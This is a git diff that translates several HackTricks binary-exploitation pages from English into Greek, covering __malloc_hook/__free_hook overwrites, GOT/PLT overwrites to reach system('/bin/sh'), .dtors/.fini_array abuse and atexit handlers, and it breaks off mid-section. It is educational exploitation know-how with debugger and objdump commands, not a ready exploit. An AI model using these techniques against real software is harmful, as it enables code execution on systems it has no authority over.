Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) > >
> -> Support HackTricks +> Υποστηρίξτε το HackTricks > -> - Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! -> - **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -> - **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +> - Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)! +> - **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +> - **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. > >
diff --git a/src/binary-exploitation/arbitrary-write-2-exec/README.md b/src/binary-exploitation/arbitrary-write-2-exec/README.md index 117d2440a..c99e8acbc 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/README.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/README.md @@ -1,3 +1 @@ -# Arbitrary Write 2 Exec - - +# Αυθαίρετη Γραφή 2 Εκτέλεση diff --git a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md index 7bd874ca8..1c7ff6ee9 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md @@ -4,34 +4,32 @@ ## **Malloc Hook** -As you can [Official GNU site](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), the variable **`__malloc_hook`** is a pointer pointing to the **address of a function that will be called** whenever `malloc()` is called **stored in the data section of the libc library**. Therefore, if this address is overwritten with a **One Gadget** for example and `malloc` is called, the **One Gadget will be called**. +Όπως μπορείτε να δείτε στον [Επίσημο ιστότοπο GNU](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), η μεταβλητή **`__malloc_hook`** είναι ένας δείκτης που δείχνει στη **διεύθυνση μιας συνάρτησης που θα καλείται** όποτε καλείται το `malloc()` **αποθηκευμένη στην ενότητα δεδομένων της βιβλιοθήκης libc**. Επομένως, αν αυτή η διεύθυνση αντικατασταθεί με ένα **One Gadget** για παράδειγμα και κληθεί το `malloc`, το **One Gadget θα κληθεί**. -To call malloc it's possible to wait for the program to call it or by **calling `printf("%10000$c")`** which allocates too bytes many making `libc` calling malloc to allocate them in the heap. +Για να καλέσετε το malloc, είναι δυνατόν να περιμένετε να το καλέσει το πρόγραμμα ή με **καλώντας `printf("%10000$c")`** που δεσμεύει πάρα πολλά bytes κάνοντάς το `libc` να καλέσει το malloc για να τα δεσμεύσει στο heap. -More info about One Gadget in: +Περισσότερες πληροφορίες σχετικά με το One Gadget στο: {{#ref}} ../rop-return-oriented-programing/ret2lib/one-gadget.md {{#endref}} > [!WARNING] -> Note that hooks are **disabled for GLIBC >= 2.34**. There are other techniques that can be used on modern GLIBC versions. See: [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md). +> Σημειώστε ότι οι hooks είναι **απενεργοποιημένες για GLIBC >= 2.34**. Υπάρχουν άλλες τεχνικές που μπορούν να χρησιμοποιηθούν σε σύγχρονες εκδόσεις GLIBC. Δείτε: [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md). ## Free Hook -This was abused in one of the example from the page abusing a fast bin attack after having abused an unsorted bin attack: +Αυτό εκμεταλλεύτηκε σε ένα από τα παραδείγματα της σελίδας εκμεταλλευόμενος μια γρήγορη επίθεση bin μετά την εκμετάλλευση μιας επίθεσης unsorted bin: {{#ref}} ../libc-heap/unsorted-bin-attack.md {{#endref}} -It's posisble to find the address of `__free_hook` if the binary has symbols with the following command: - +Είναι δυνατόν να βρείτε τη διεύθυνση του `__free_hook` αν το δυαδικό αρχείο έχει σύμβολα με την ακόλουθη εντολή: ```bash gef➤ p &__free_hook ``` - -[In the post](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) you can find a step by step guide on how to locate the address of the free hook without symbols. As summary, in the free function: +[Στην ανάρτηση](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) μπορείτε να βρείτε έναν οδηγό βήμα προς βήμα για το πώς να εντοπίσετε τη διεύθυνση του free hook χωρίς σύμβολα. Ως περίληψη, στη συνάρτηση free:
gef➤  x/20i free
 0xf75dedc0 <free>: push   ebx
@@ -45,26 +43,26 @@ gef➤  p &__free_hook
 0xf75deddd <free+29>:  jne    0xf75dee50 <free+144>
 
-In the mentioned break in the previous code in `$eax` will be located the address of the free hook. +Στο αναφερόμενο breakpoint στον προηγούμενο κώδικα, στο `$eax` θα βρίσκεται η διεύθυνση του free hook. -Now a **fast bin attack** is performed: +Τώρα εκτελείται μια **γρήγορη επίθεση bin**: -- First of all it's discovered that it's possible to work with fast **chunks of size 200** in the **`__free_hook`** location: +- Πρώτα απ' όλα, ανακαλύπτεται ότι είναι δυνατό να εργαστούμε με γρήγορες **chunks μεγέθους 200** στη θέση **`__free_hook`**: -
gef➤  p &__free_hook
-  $1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
-  gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
-  0x7ff1e9e6074f: 0x0000000000000000      0x0000000000000200
-  0x7ff1e9e6075f: 0x0000000000000000      0x0000000000000000
-  0x7ff1e9e6076f <list_all_lock+15>:      0x0000000000000000      0x0000000000000000
-  0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000      0x0000000000000000
-  
- - If we manage to get a fast chunk of size 0x200 in this location, it'll be possible to overwrite a function pointer that will be executed -- For this, a new chunk of size `0xfc` is created and the merged function is called with that pointer twice, this way we obtain a pointer to a freed chunk of size `0xfc*2 = 0x1f8` in the fast bin. -- Then, the edit function is called in this chunk to modify the **`fd`** address of this fast bin to point to the previous **`__free_hook`** function. -- Then, a chunk with size `0x1f8` is created to retrieve from the fast bin the previous useless chunk so another chunk of size `0x1f8` is created to get a fast bin chunk in the **`__free_hook`** which is overwritten with the address of **`system`** function. -- And finally a chunk containing the string `/bin/sh\x00` is freed calling the delete function, triggering the **`__free_hook`** function which points to system with `/bin/sh\x00` as parameter. +$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook> +gef➤ x/60gx 0x7ff1e9e607a8 - 0x59 +0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200 +0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000 +0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000 +0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000 + +- Εάν καταφέρουμε να αποκτήσουμε μια γρήγορη chunk μεγέθους 0x200 σε αυτή τη θέση, θα είναι δυνατό να αντικαταστήσουμε έναν δείκτη συνάρτησης που θα εκτελείται +- Για αυτό, δημιουργείται μια νέα chunk μεγέθους `0xfc` και καλείται η συγχωνευμένη συνάρτηση με αυτόν τον δείκτη δύο φορές, με αυτόν τον τρόπο αποκτούμε έναν δείκτη σε μια απελευθερωμένη chunk μεγέθους `0xfc*2 = 0x1f8` στο γρήγορο bin. +- Στη συνέχεια, καλείται η συνάρτηση επεξεργασίας σε αυτή τη chunk για να τροποποιήσει τη διεύθυνση **`fd`** αυτού του γρήγορου bin ώστε να δείχνει στην προηγούμενη συνάρτηση **`__free_hook`**. +- Στη συνέχεια, δημιουργείται μια chunk μεγέθους `0x1f8` για να ανακτηθεί από το γρήγορο bin η προηγούμενη άχρηστη chunk, ώστε να δημιουργηθεί άλλη μια chunk μεγέθους `0x1f8` για να αποκτήσουμε μια γρήγορη chunk στο **`__free_hook`** που αντικαθίσταται με τη διεύθυνση της συνάρτησης **`system`**. +- Και τελικά, μια chunk που περιέχει τη συμβολοσειρά `/bin/sh\x00` απελευθερώνεται καλώντας τη συνάρτηση διαγραφής, ενεργοποιώντας τη συνάρτηση **`__free_hook`** που δείχνει στη system με το `/bin/sh\x00` ως παράμετρο. -## References +## Αναφορές - [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook) - [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md). diff --git a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md index ad09ee48e..ab85ab69b 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md @@ -2,63 +2,63 @@ {{#include ../../banners/hacktricks-training.md}} -## **Basic Information** +## **Βασικές Πληροφορίες** -### **GOT: Global Offset Table** +### **GOT: Παγκόσμιος Πίνακας Μεταθέσεων** -The **Global Offset Table (GOT)** is a mechanism used in dynamically linked binaries to manage the **addresses of external functions**. Since these **addresses are not known until runtime** (due to dynamic linking), the GOT provides a way to **dynamically update the addresses of these external symbols** once they are resolved. +Ο **Παγκόσμιος Πίνακας Μεταθέσεων (GOT)** είναι ένας μηχανισμός που χρησιμοποιείται σε δυναμικά συνδεδεμένα δυαδικά αρχεία για τη διαχείριση των **διευθύνσεων εξωτερικών συναρτήσεων**. Δεδομένου ότι αυτές οι **διευθύνσεις δεν είναι γνωστές μέχρι την εκτέλεση** (λόγω δυναμικής σύνδεσης), ο GOT παρέχει έναν τρόπο για να **ενημερώνονται δυναμικά οι διευθύνσεις αυτών των εξωτερικών συμβόλων** μόλις επιλυθούν. -Each entry in the GOT corresponds to a symbol in the external libraries that the binary may call. When a **function is first called, its actual address is resolved by the dynamic linker and stored in the GOT**. Subsequent calls to the same function use the address stored in the GOT, thus avoiding the overhead of resolving the address again. +Κάθε καταχώρηση στον GOT αντιστοιχεί σε ένα σύμβολο στις εξωτερικές βιβλιοθήκες που μπορεί να καλέσει το δυαδικό αρχείο. Όταν μια **συνάρτηση καλείται για πρώτη φορά, η πραγματική της διεύθυνση επιλύεται από τον δυναμικό σύνδεσμο και αποθηκεύεται στον GOT**. Οι επόμενες κλήσεις στην ίδια συνάρτηση χρησιμοποιούν τη διεύθυνση που είναι αποθηκευμένη στον GOT, αποφεύγοντας έτσι την επιβάρυνση της εκ νέου επίλυσης της διεύθυνσης. -### **PLT: Procedure Linkage Table** +### **PLT: Πίνακας Σύνδεσης Διαδικασιών** -The **Procedure Linkage Table (PLT)** works closely with the GOT and serves as a trampoline to handle calls to external functions. When a binary **calls an external function for the first time, control is passed to an entry in the PLT associated with that function**. This PLT entry is responsible for invoking the dynamic linker to resolve the function's address if it has not already been resolved. After the address is resolved, it is stored in the **GOT**. +Ο **Πίνακας Σύνδεσης Διαδικασιών (PLT)** συνεργάζεται στενά με τον GOT και λειτουργεί ως trampoline για να διαχειρίζεται τις κλήσεις σε εξωτερικές συναρτήσεις. Όταν ένα δυαδικό αρχείο **καλεί μια εξωτερική συνάρτηση για πρώτη φορά, ο έλεγχος μεταφέρεται σε μια καταχώρηση στον PLT που σχετίζεται με αυτή τη συνάρτηση**. Αυτή η καταχώρηση PLT είναι υπεύθυνη για την κλήση του δυναμικού συνδέσμου για να επιλύσει τη διεύθυνση της συνάρτησης αν δεν έχει ήδη επιλυθεί. Αφού επιλυθεί η διεύθυνση, αποθηκεύεται στον **GOT**. -**Therefore,** GOT entries are used directly once the address of an external function or variable is resolved. **PLT entries are used to facilitate the initial resolution** of these addresses via the dynamic linker. +**Επομένως,** οι καταχωρήσεις GOT χρησιμοποιούνται άμεσα μόλις επιλυθεί η διεύθυνση μιας εξωτερικής συνάρτησης ή μεταβλητής. **Οι καταχωρήσεις PLT χρησιμοποιούνται για να διευκολύνουν την αρχική επίλυση** αυτών των διευθύνσεων μέσω του δυναμικού συνδέσμου. -## Get Execution +## Λάβετε Εκτέλεση -### Check the GOT +### Ελέγξτε τον GOT -Get the address to the GOT table with: **`objdump -s -j .got ./exec`** +Λάβετε τη διεύθυνση του πίνακα GOT με: **`objdump -s -j .got ./exec`** ![](<../../images/image (121).png>) -Observe how after **loading** the **executable** in GEF you can **see** the **functions** that are in the **GOT**: `gef➤ x/20x 0xADDR_GOT` +Παρατηρήστε πώς μετά την **φόρτωση** του **εκτελέσιμου** στο GEF μπορείτε να **δείτε** τις **συναρτήσεις** που είναι στον **GOT**: `gef➤ x/20x 0xADDR_GOT` -![](<../../images/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>) +![](<../../images/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>) -Using GEF you can **start** a **debugging** session and execute **`got`** to see the got table: +Χρησιμοποιώντας το GEF μπορείτε να **ξεκινήσετε** μια **συνεδρία αποσφαλμάτωσης** και να εκτελέσετε **`got`** για να δείτε τον πίνακα got: ![](<../../images/image (496).png>) ### GOT2Exec -In a binary the GOT has the **addresses to the functions or** to the **PLT** section that will load the function address. The goal of this arbitrary write is to **override a GOT entry** of a function that is going to be executed later **with** the **address** of the PLT of the **`system`** **function** for example. +Σε ένα δυαδικό αρχείο, ο GOT έχει τις **διευθύνσεις στις συναρτήσεις ή** στην **ενότητα PLT** που θα φορτώσει τη διεύθυνση της συνάρτησης. Ο στόχος αυτής της αυθαίρετης εγγραφής είναι να **επικαλύψει μια καταχώρηση GOT** μιας συνάρτησης που πρόκειται να εκτελεστεί αργότερα **με** τη **διεύθυνση** του PLT της **συνάρτησης** **`system`** για παράδειγμα. -Ideally, you will **override** the **GOT** of a **function** that is **going to be called with parameters controlled by you** (so you will be able to control the parameters sent to the system function). +Ιδανικά, θα **επικαλύψετε** τον **GOT** μιας **συνάρτησης** που **θα κληθεί με παραμέτρους που ελέγχετε εσείς** (έτσι θα μπορείτε να ελέγξετε τις παραμέτρους που αποστέλλονται στη συνάρτηση system). -If **`system`** **isn't used** by the binary, the system function **won't** have an entry in the PLT. In this scenario, you will **need to leak first the address** of the `system` function and then overwrite the GOT to point to this address. +Αν η **`system`** **δεν χρησιμοποιείται** από το δυαδικό αρχείο, η συνάρτηση system **δεν θα** έχει μια καταχώρηση στον PLT. Σε αυτό το σενάριο, θα **πρέπει πρώτα να διαρρεύσετε τη διεύθυνση** της συνάρτησης `system` και στη συνέχεια να επικαλύψετε τον GOT για να δείξετε σε αυτή τη διεύθυνση. -You can see the PLT addresses with **`objdump -j .plt -d ./vuln_binary`** +Μπορείτε να δείτε τις διευθύνσεις PLT με **`objdump -j .plt -d ./vuln_binary`** -## libc GOT entries +## Καταχωρήσεις GOT της libc -The **GOT of libc** is usually compiled with **partial RELRO**, making it a nice target for this supposing it's possible to figure out its address ([**ASLR**](../common-binary-protections-and-bypasses/aslr/)). +Ο **GOT της libc** συνήθως μεταγλωττίζεται με **μερική RELRO**, καθιστώντας τον έναν ωραίο στόχο για αυτό, υποθέτοντας ότι είναι δυνατό να προσδιοριστεί η διεύθυνσή του ([**ASLR**](../common-binary-protections-and-bypasses/aslr/)). -Common functions of the libc are going to call **other internal functions** whose GOT could be overwritten in order to get code execution. +Κοινές συναρτήσεις της libc θα καλέσουν **άλλες εσωτερικές συναρτήσεις** των οποίων ο GOT θα μπορούσε να επικαλυφθεί προκειμένου να αποκτηθεί εκτέλεση κώδικα. -Find [**more information about this technique here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries). +Βρείτε [**περισσότερες πληροφορίες σχετικά με αυτή την τεχνική εδώ**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries). ### **Free2system** -In heap exploitation CTFs it's common to be able to control the content of chunks and at some point even overwrite the GOT table. A simple trick to get RCE if one gadgets aren't available is to overwrite the `free` GOT address to point to `system` and to write inside a chunk `"/bin/sh"`. This way when this chunk is freed, it'll execute `system("/bin/sh")`. +Στην εκμετάλλευση heap CTFs είναι κοινό να μπορείτε να ελέγξετε το περιεχόμενο των chunks και σε κάποιο σημείο ακόμη και να επικαλύψετε τον πίνακα GOT. Ένα απλό κόλπο για να αποκτήσετε RCE αν δεν είναι διαθέσιμα gadgets είναι να επικαλύψετε τη διεύθυνση GOT του `free` ώστε να δείχνει στη `system` και να γράψετε μέσα σε ένα chunk `"/bin/sh"`. Με αυτόν τον τρόπο, όταν αυτό το chunk απελευθερωθεί, θα εκτελέσει `system("/bin/sh")`. ### **Strlen2system** -Another common technique is to overwrite the **`strlen`** GOT address to point to **`system`**, so if this function is called with user input it's posisble to pass the string `"/bin/sh"` and get a shell. +Μια άλλη κοινή τεχνική είναι να επικαλύψετε τη διεύθυνση GOT της **`strlen`** ώστε να δείχνει στη **`system`**, έτσι αν αυτή η συνάρτηση κληθεί με είσοδο χρήστη είναι δυνατό να περάσετε τη συμβολοσειρά `"/bin/sh"` και να αποκτήσετε ένα shell. -Moreover, if `puts` is used with user input, it's possible to overwrite the `strlen` GOT address to point to `system` and pass the string `"/bin/sh"` to get a shell because **`puts` will call `strlen` with the user input**. +Επιπλέον, αν η `puts` χρησιμοποιείται με είσοδο χρήστη, είναι δυνατό να επικαλύψετε τη διεύθυνση GOT της `strlen` ώστε να δείχνει στη `system` και να περάσετε τη συμβολοσειρά `"/bin/sh"` για να αποκτήσετε ένα shell επειδή **η `puts` θα καλέσει τη `strlen` με την είσοδο χρήστη**. ## **One Gadget** @@ -66,22 +66,22 @@ Moreover, if `puts` is used with user input, it's possible to overwrite the `str ../rop-return-oriented-programing/ret2lib/one-gadget.md {{#endref}} -## **Abusing GOT from Heap** +## **Κατάχρηση του GOT από Heap** -A common way to obtain RCE from a heap vulnerability is to abuse a fastbin so it's possible to add the part of the GOT table into the fast bin, so whenever that chunk is allocated it'll be possible to **overwrite the pointer of a function, usually `free`**.\ -Then, pointing `free` to `system` and freeing a chunk where was written `/bin/sh\x00` will execute a shell. +Ένας κοινός τρόπος για να αποκτήσετε RCE από μια ευπάθεια heap είναι να καταχραστείτε ένα fastbin ώστε να είναι δυνατό να προσθέσετε το μέρος του πίνακα GOT στο fast bin, έτσι ώστε κάθε φορά που αυτό το chunk κατανεμηθεί θα είναι δυνατό να **επικαλύψετε τον δείκτη μιας συνάρτησης, συνήθως του `free`**.\ +Στη συνέχεια, δείχνοντας το `free` στη `system` και απελευθερώνοντας ένα chunk όπου γράφτηκε το `/bin/sh\x00` θα εκτελέσει ένα shell. -It's possible to find an [**example here**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk_extend_overlapping/#hitcon-trainging-lab13)**.** +Είναι δυνατό να βρείτε ένα [**παράδειγμα εδώ**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk_extend_overlapping/#hitcon-trainging-lab13)**.** -## **Protections** +## **Προστασίες** -The **Full RELRO** protection is meant to protect agains this kind of technique by resolving all the addresses of the functions when the binary is started and making the **GOT table read only** after it: +Η προστασία **Full RELRO** προορίζεται να προστατεύει από αυτού του είδους την τεχνική επιλύοντας όλες τις διευθύνσεις των συναρτήσεων όταν ξεκινά το δυαδικό αρχείο και καθιστώντας τον **πίνακα GOT μόνο για ανάγνωση** μετά από αυτό: {{#ref}} ../common-binary-protections-and-bypasses/relro.md {{#endref}} -## References +## Αναφορές - [https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite) - [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook) diff --git a/src/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md b/src/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md index 31e45fba4..2222eb226 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md @@ -5,52 +5,48 @@ ## .dtors > [!CAUTION] -> Nowadays is very **weird to find a binary with a .dtors section!** +> Σήμερα είναι πολύ **περίεργο να βρεις ένα δυαδικό αρχείο με τμήμα .dtors!** -The destructors are functions that are **executed before program finishes** (after the `main` function returns).\ -The addresses to these functions are stored inside the **`.dtors`** section of the binary and therefore, if you manage to **write** the **address** to a **shellcode** in **`__DTOR_END__`** , that will be **executed** before the programs ends. - -Get the address of this section with: +Οι καταστροφείς είναι συναρτήσεις που **εκτελούνται πριν το πρόγραμμα τελειώσει** (μετά την επιστροφή της συνάρτησης `main`).\ +Οι διευθύνσεις αυτών των συναρτήσεων αποθηκεύονται μέσα στο **`.dtors`** τμήμα του δυαδικού αρχείου και επομένως, αν καταφέρετε να **γράψετε** τη **διεύθυνση** σε ένα **shellcode** στο **`__DTOR_END__`**, αυτό θα **εκτελεστεί** πριν το πρόγραμμα τελειώσει. +Πάρτε τη διεύθυνση αυτού του τμήματος με: ```bash objdump -s -j .dtors /exec rabin -s /exec | grep “__DTOR” ``` - -Usually you will find the **DTOR** markers **between** the values `ffffffff` and `00000000`. So if you just see those values, it means that there **isn't any function registered**. So **overwrite** the **`00000000`** with the **address** to the **shellcode** to execute it. +Συνήθως θα βρείτε τους **DTOR** δείκτες **μεταξύ** των τιμών `ffffffff` και `00000000`. Έτσι, αν δείτε μόνο αυτές τις τιμές, σημαίνει ότι **δεν υπάρχει καμία καταχωρημένη συνάρτηση**. Έτσι, **επικαλύψτε** το **`00000000`** με τη **διεύθυνση** του **shellcode** για να το εκτελέσετε. > [!WARNING] -> Ofc, you first need to find a **place to store the shellcode** in order to later call it. +> Φυσικά, πρώτα πρέπει να βρείτε μια **θέση για να αποθηκεύσετε το shellcode** προκειμένου να το καλέσετε αργότερα. ## **.fini_array** -Essentially this is a structure with **functions that will be called** before the program finishes, like **`.dtors`**. This is interesting if you can call your **shellcode just jumping to an address**, or in cases where you need to go **back to `main`** again to **exploit the vulnerability a second time**. - +Ουσιαστικά, αυτή είναι μια δομή με **συναρτήσεις που θα κληθούν** πριν το πρόγραμμα τελειώσει, όπως η **`.dtors`**. Αυτό είναι ενδιαφέρον αν μπορείτε να καλέσετε το **shellcode απλά πηδώντας σε μια διεύθυνση**, ή σε περιπτώσεις όπου χρειάζεται να επιστρέψετε **πίσω στο `main`** ξανά για να **εκμεταλλευτείτε την ευπάθεια μια δεύτερη φορά**. ```bash objdump -s -j .fini_array ./greeting ./greeting: file format elf32-i386 Contents of section .fini_array: - 8049934 a0850408 +8049934 a0850408 #Put your address in 0x8049934 ``` +Σημειώστε ότι όταν εκτελείται μια συνάρτηση από το **`.fini_array`**, μετακινείται στην επόμενη, οπότε δεν θα εκτελείται πολλές φορές (αποτρέποντας τους αιώνιους βρόχους), αλλά επίσης θα σας δώσει μόνο 1 **εκτέλεση της συνάρτησης** που τοποθετείται εδώ. -Note that when a function from the **`.fini_array`** is executed it moves to the next one, so it won't be executed several time (preventing eternal loops), but also it'll only give you 1 **execution of the function** placed here. +Σημειώστε ότι οι καταχωρίσεις στο **`.fini_array`** καλούνται σε **αντίστροφη** σειρά, οπότε πιθανώς θέλετε να αρχίσετε να γράφετε από την τελευταία. -Note that entries in `.fini_array` are called in **reverse** order, so you probably wants to start writing from the last one. +#### Αιώνιος βρόχος -#### Eternal loop +Για να εκμεταλλευτείτε το **`.fini_array`** για να αποκτήσετε έναν αιώνιο βρόχο μπορείτε να [**ελέγξετε τι έγινε εδώ**](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)**:** Εάν έχετε τουλάχιστον 2 καταχωρίσεις στο **`.fini_array`**, μπορείτε να: -In order to abuse **`.fini_array`** to get an eternal loop you can [**check what was done here**](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)**:** If you have at least 2 entries in **`.fini_array`**, you can: - -- Use your first write to **call the vulnerable arbitrary write function** again -- Then, calculate the return address in the stack stored by **`__libc_csu_fini`** (the function that is calling all the `.fini_array` functions) and put there the **address of `__libc_csu_fini`** - - This will make **`__libc_csu_fini`** call himself again executing the **`.fini_array`** functions again which will call the vulnerable WWW function 2 times: one for **arbitrary write** and another one to overwrite again the **return address of `__libc_csu_fini`** on the stack to call itself again. +- Χρησιμοποιήσετε την πρώτη σας εγγραφή για να **καλέσετε ξανά τη λειτουργία ευάλωτης αυθαίρετης εγγραφής** +- Στη συνέχεια, υπολογίστε τη διεύθυνση επιστροφής στη στοίβα που αποθηκεύεται από το **`__libc_csu_fini`** (τη συνάρτηση που καλεί όλες τις συναρτήσεις του **`.fini_array`**) και τοποθετήστε εκεί τη **διεύθυνση του `__libc_csu_fini`** +- Αυτό θα κάνει το **`__libc_csu_fini`** να καλέσει ξανά τον εαυτό του εκτελώντας ξανά τις συναρτήσεις του **`.fini_array`**, οι οποίες θα καλέσουν τη ευάλωτη WWW συνάρτηση 2 φορές: μία για **αυθαίρετη εγγραφή** και μία άλλη για να ξαναγράψει τη **διεύθυνση επιστροφής του `__libc_csu_fini`** στη στοίβα για να καλέσει ξανά τον εαυτό του. > [!CAUTION] -> Note that with [**Full RELRO**](../common-binary-protections-and-bypasses/relro.md)**,** the section **`.fini_array`** is made **read-only**. -> In newer versions, even with [**Partial RELRO**] the section **`.fini_array`** is made **read-only** also. +> Σημειώστε ότι με [**Full RELRO**](../common-binary-protections-and-bypasses/relro.md)**,** η ενότητα **`.fini_array`** είναι **μόνο για ανάγνωση**. +> Σε νεότερες εκδόσεις, ακόμη και με [**Partial RELRO**] η ενότητα **`.fini_array`** είναι επίσης **μόνο για ανάγνωση**. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md b/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md index 97c286231..19966c5fe 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md @@ -5,35 +5,34 @@ ## **\_\_atexit Structures** > [!CAUTION] -> Nowadays is very **weird to exploit this!** +> Σήμερα είναι πολύ **περίεργο να εκμεταλλευτείς αυτό!** -**`atexit()`** is a function to which **other functions are passed as parameters.** These **functions** will be **executed** when executing an **`exit()`** or the **return** of the **main**.\ -If you can **modify** the **address** of any of these **functions** to point to a shellcode for example, you will **gain control** of the **process**, but this is currently more complicated.\ -Currently the **addresses to the functions** to be executed are **hidden** behind several structures and finally the address to which it points are not the addresses of the functions, but are **encrypted with XOR** and displacements with a **random key**. So currently this attack vector is **not very useful at least on x86** and **x64_86**.\ -The **encryption function** is **`PTR_MANGLE`**. **Other architectures** such as m68k, mips32, mips64, aarch64, arm, hppa... **do not implement the encryption** function because it **returns the same** as it received as input. So these architectures would be attackable by this vector. +**`atexit()`** είναι μια συνάρτηση στην οποία **άλλες συναρτήσεις περνιούνται ως παράμετροι.** Αυτές οι **συναρτήσεις** θα **εκτελούνται** κατά την εκτέλεση μιας **`exit()`** ή της **επιστροφής** της **κύριας**.\ +Αν μπορείς να **τροποποιήσεις** τη **διεύθυνση** οποιασδήποτε από αυτές τις **συναρτήσεις** ώστε να δείχνει σε ένα shellcode για παράδειγμα, θα **κερδίσεις έλεγχο** της **διαδικασίας**, αλλά αυτό είναι προς το παρόν πιο περίπλοκο.\ +Αυτή τη στιγμή οι **διευθύνσεις στις συναρτήσεις** που θα εκτελούνται είναι **κρυμμένες** πίσω από πολλές δομές και τελικά η διεύθυνση στην οποία δείχνει δεν είναι οι διευθύνσεις των συναρτήσεων, αλλά είναι **κρυπτογραφημένες με XOR** και μετατοπίσεις με μια **τυχαία κλειδί**. Έτσι, αυτή τη στιγμή αυτός ο επιθετικός παράγοντας δεν είναι **πολύ χρήσιμος τουλάχιστον σε x86** και **x64_86**.\ +Η **συνάρτηση κρυπτογράφησης** είναι **`PTR_MANGLE`**. **Άλλες αρχιτεκτονικές** όπως m68k, mips32, mips64, aarch64, arm, hppa... **δεν υλοποιούν τη συνάρτηση κρυπτογράφησης** γιατί **επιστρέφει το ίδιο** με αυτό που έλαβε ως είσοδο. Έτσι, αυτές οι αρχιτεκτονικές θα μπορούσαν να επιτεθούν μέσω αυτού του παραγόντα. -You can find an in depth explanation on how this works in [https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html](https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html) +Μπορείς να βρεις μια σε βάθος εξήγηση για το πώς λειτουργεί αυτό στο [https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html](https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html) ## link_map -As 